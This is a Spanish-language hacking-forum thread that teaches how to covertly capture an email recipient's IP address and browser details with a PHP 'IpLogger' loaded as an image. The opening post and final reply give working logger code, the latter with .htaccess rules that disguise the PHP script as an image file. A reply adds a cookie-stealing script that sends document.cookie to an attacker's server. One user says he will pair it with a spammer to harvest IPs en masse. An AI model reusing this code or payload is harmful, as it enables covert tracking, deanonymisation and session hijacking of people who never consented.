Obtener IP de un correo.

Iniciado por rollth, Septiembre 25, 2017, 11:27:18 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Septiembre 25, 2017, 11:27:18 PM Ultima modificación: Abril 01, 2018, 10:20:10 AM por rollth
Como en muchos casos la gente pregunta como conseguir la IP de un correo creo que es el momento de enseñar una técnica que podrán usar, efectiva y que no es sospechosa.

Lo que vamos a hacer es un IpLogger en PHP, solo que en esta ocasión en lugar de esperar que hagan click, haremos que devuelva una imagen, de esta forma la podremos cargar en el correo y obtener la IP sin necesidad de que el usuario haga click en ningún link. Este sería el código que vamos a usar:

Código: php

<?php

// IpLogger

$datos = "Fecha: " . date('Y-m-d H:i:s') . " - IP: $_SERVER[REMOTE_ADDR] - UserAgent: $_SERVER[HTTP_USER_AGENT] ";
$archivo = fopen("datos.txt", "a");
$fw = fwrite($archivo, "$datos\n");
fclose($archivo);

// Devuelve imagen

$imagen = file_get_contents('https://url.es/imagen.jpg');  // Aquí pondrán la imagen que quieran que aparezca.

header('Content-type: image/jpeg;');
header("Content-Length: " . strlen($imagen));
echo $imagen;

?>


Para hacer que nos envíe la IP tan solo habría que usar la etiqueta <img src="www.dominio.es/codigo.php"> en el correo. En caso de usar Gmail la imagen también se puede cargar desde url.

(En cualquier WEB que pongan la etiqueta y entre alguien también mandará su IP).

Esto funciona como un CSRF, pueden leer No tienes permitido ver los links. Registrarse o Entrar a mi cuenta un tutorial.

Cuando el navegador lee la etiqueta <img src=""> este manda una petición GET para analizar cual es la imagen que devuelve esa url, al ser un código PHP este se ejecuta y después devuelve la imagen que es la que se va a mostrar en nuestro navegador.



Veamos como quedaría el mail recibido.



Y así quedarían los logs dentro de nuestro dominio.



En mi caso también me devuelve IPs de Google ya que envié el correo por Gmail y usé la opción de obtener imagen por URL.

Espero que les sea de utilidad.

También me pueden seguir en Twitter si les hace ilusión: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.

algo así como:

Código: php

<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>


El código está sin comprobar pero creo que se ve la idea.

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.

algo así como:

Código: php

<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>


El código está sin comprobar pero creo que se ve la idea.

La verdad no veo por donde vas, para que se ejecutase el script el servicio de correo tendría que ser vulnerable a XSS, en el caso que yo he expuesto no hace falta.

He enviado el email desde un gmail hasta un gmail, se ha cargado la foto normal y no lo ha enviado a spam, asi que no, se pueden enviar fotos no adjuntas con etiquetas HTML, de hecho los emails se envían en HTML, lo unico que he hecho ha sido imitar una CSRF haciendo que su navegador llame a mi PHP y me mande los datos :D

Saludos.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

¿Pero lo que estas metiendo no es el tag imagen con el source redireccionado hacia un servidor y te lo está interpretando?

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
¿Pero lo que estas metiendo no es el tag imagen con el source redireccionado hacia un servidor y te lo está interpretando?

Así es, pero no veo como se va a hacer así un robo de cookies.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

¿Que te interpreta el html y se cepilla todo el javascript? ¿Por ejemplo un iframe tragaria? Me sigue pareciendo un fallo gordo.
Me refiero a mi el correo por defecto me suprime todo lo que haga referencia externa, que entiendo es lo correcto. Pero creía recordar que correos como gmail y hotmail hacen lo mismo.

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
¿Que te interpreta el html y se cepilla todo el javascript? ¿Por ejemplo un iframe tragaria? Me sigue pareciendo un fallo gordo.
Me refiero a mi el correo por defecto me suprime todo lo que haga referencia externa, que entiendo es lo correcto. Pero creía recordar que correos como gmail y hotmail hacen lo mismo.

Obviamente el javascript en gmail y hotmail está filtrado. ¿Qué gestor de correos usas?
Puede  que dependiendo de como este configurado el email envíe este tipo de contenido a spam, pero aún así no elimina el contenido. (gmail con su configuración por defecto no envía a spam y hotmail depende del remitente, en ambos casos he conseguido que no se envíe a spam)

Saludos
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Es una buena opcion, pero lo confundi con obtener las direccion IP de un correo recibido (algo que aportan las cabeceras),


Saludos!  ;D

Bro una pregunta, soy algo nuevo en esto, ¿Pero que programa utilizas para hacer que eso te corra?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Bro una pregunta, soy algo nuevo en esto, ¿Pero que programa utilizas para hacer que eso te corra?

Está ejecutando código php en algún hosting y convocandolo desde una etiqueta html.

Gracias por leer,
DUDA

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.

algo así como:

Código: php

<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>


El código está sin comprobar pero creo que se ve la idea.

La verdad no veo por donde vas, para que se ejecutase el script el servicio de correo tendría que ser vulnerable a XSS, en el caso que yo he expuesto no hace falta.

He enviado el email desde un gmail hasta un gmail, se ha cargado la foto normal y no lo ha enviado a spam, asi que no, se pueden enviar fotos no adjuntas con etiquetas HTML, de hecho los emails se envían en HTML, lo unico que he hecho ha sido imitar una CSRF haciendo que su navegador llame a mi PHP y me mande los datos :D

Saludos.

A lo que se refiere animanegra según entiendo, es a que independientemente del código que introduzcas, el método que estás usando debería ser filtrado por los gestores de correos, aunque no sea un XSS. En resumen, si estás obteniendo el IP, podrías también obtener las cookies de sesión...De todas maneras, habrá que probarlo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pero, a mi entender la mayoría de programas de correo así como visores mail no deberían dejan ver las imágenes que no vienen adjuntas. ¿En que correos lo habéis probado y funciona de modo satisfactorio?
Me refiero, si esto funcionase, por regla general, en lugar de coger la IP me sale mas a cuenta embeber un javascript y que me envíe las cookies como variable get con un document.cookie y así puedo entrar en el correo directamente en el correo en lugar de tener su IP. Vaya que me parece información mas relevante.

algo así como:

Código: php

<img id="lalala" src=""></img>
<script> document.getElementByID('lalala').src='http://mideireccionIP/lala.php?var='+document.cookie </script>


El código está sin comprobar pero creo que se ve la idea.

La verdad no veo por donde vas, para que se ejecutase el script el servicio de correo tendría que ser vulnerable a XSS, en el caso que yo he expuesto no hace falta.

He enviado el email desde un gmail hasta un gmail, se ha cargado la foto normal y no lo ha enviado a spam, asi que no, se pueden enviar fotos no adjuntas con etiquetas HTML, de hecho los emails se envían en HTML, lo unico que he hecho ha sido imitar una CSRF haciendo que su navegador llame a mi PHP y me mande los datos :D

Saludos.

A lo que se refiere animanegra según entiendo, es a que independientemente del código que introduzcas, el método que estás usando debería ser filtrado por los gestores de correos, aunque no sea un XSS. En resumen, si estás obteniendo el IP, podrías también obtener las cookies de sesión...De todas maneras, habrá que probarlo.

Los emails se basan en etiquetas HTML, cuando tu intentas enviar una XSS se filtra esa etiqueta, estan los filtros específicos, sin embargo como entenderás la etiqueta <img> no está filtrada, el obtener la IP es como si fuera un SCRF más que una XSS, pruebalo a ver si entiendes mejor el concepto, pero ya te digo que es funcional y que no tiene nada que ver con una XSS.

Cualquier duda más o fallo que tengas en caso de que lo repliques no dudes en preguntar.

Saludos.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno, bueno. A quien tenemos aquí jajaja. Buen IPLogger sin duda alguna.

Muy buen aporte amigo, con mi spammer y este truquito puedo obtener ips masivamente, gracias

Hola, muy buena aportación.

Quería preguntarte si sería posible con ese mismo php hacer un fingerprinting al usuario.

Recopilar el Máximo de datos de configuración del navegador, sistema operativo, etc, para crear una huella digital del dispositivo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola, muy buena aportación.

Quería preguntarte si sería posible con ese mismo php hacer un fingerprinting al usuario.

Recopilar el Máximo de datos de configuración del navegador, sistema operativo, etc, para crear una huella digital del dispositivo.

Ese código obtiene bastante información, puedes fijarte en la imagen.
IP, fecha, hora, OS + versión, navegador + versión.

Saludos.
RollthBuen hacker mejor No tienes permitido ver los links. Registrarse o Entrar a mi cuenta/No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si, ya he visto.

Cuanta más información recopila, más se puede identificar un dispositivo entre otros tantos.

Imagina que queremos identificar un dispositivo, pero que este tiene varias cuentas de usuario. Con el mismo sistema operativo, y misma versión de navegador. Recopilando la información de los plugins instalados, configuración del navegador, fuentes instaladas, resolución del monitor, podemos obtener un perfil más acertado de queusuario hizo click.

He probado en gmail, y no acepta la url como imagen.

¡Hola!

Gran aporte, Rolo. Se me ocurrió que se podría mejorar un poquito, la técnica como el código.

Modifiqué el código para funcionar con cualquier tipo de archivo (por el mimetype). La función getMimeType la hice para la compatibilidad entre versiones de PHP.

Código: php
<?php
// write data
date_default_timezone_set('UTC');
$info = sprintf("Date: %s\nIP: %s\nUser Agent: %s\n", date('Y-m-d H:i:s'), $_SERVER['REMOTE_ADDR'], $_SERVER['HTTP_USER_AGENT']);
$file = fopen("data.txt", "a");
fwrite($file, $info);
fclose($file);

// fake img
$fname = basename('image.png');
$img = file_get_contents($fname);
header('Content-type: ' . getMimeType($fname));
header('Content-Length: ' . strlen($img));
echo $img;

// functions
function getMimeType($filename)
{
if (/*extension_loaded("fileinfo")*/ function_exists('finfo_file'))
return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filename);
else if (function_exists('mime_content_type'))
return mime_content_type($filename);
else
{
// only images
$idx = strtolower(substr(strrchr($filename, "."), 1));
$mime = array(
'gif' => 'image/gif',
'ico' => 'image/x-icon',
'jpeg' => 'image/jpeg',
'jpg' => 'image/jpeg',
'png' => 'image/png'
);

if (isset($mime[$idx]))
return $mime[$idx];
else return 'application/octet-stream';
}
}
?>


Y para esconder un poquito más la extensión .php en el tag img, se puede usar un .htaccess.

Código: text
# Prevent viewing of htaccess and htpasswd files.
<Files .htaccess>
    order allow,deny
    deny from all
</Files>

# Prevent directory listings.
Options All -Indexes

# Hide .php in image.
Options +FollowSymlinks
RewriteEngine on
RewriteRule ^(.*)\.jpg$ $1.php [nc]
RewriteRule ^(.*)\.jpeg$ $1.php [nc]
RewriteRule ^(.*)\.tiff$ $1.php [nc]
RewriteRule ^(.*)\.gif$ $1.php [nc]
RewriteRule ^(.*)\.bmp$ $1.php [nc]
RewriteRule ^(.*)\.png$ $1.php [nc]


Con este ejemplo, se podría usar una extensión de imagen falsa, apuntando al PHP.
Código: html5
<img src="https://www.hack.er/image.png />


Saludos.
P.D.: Volví (?  ;D ;D
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta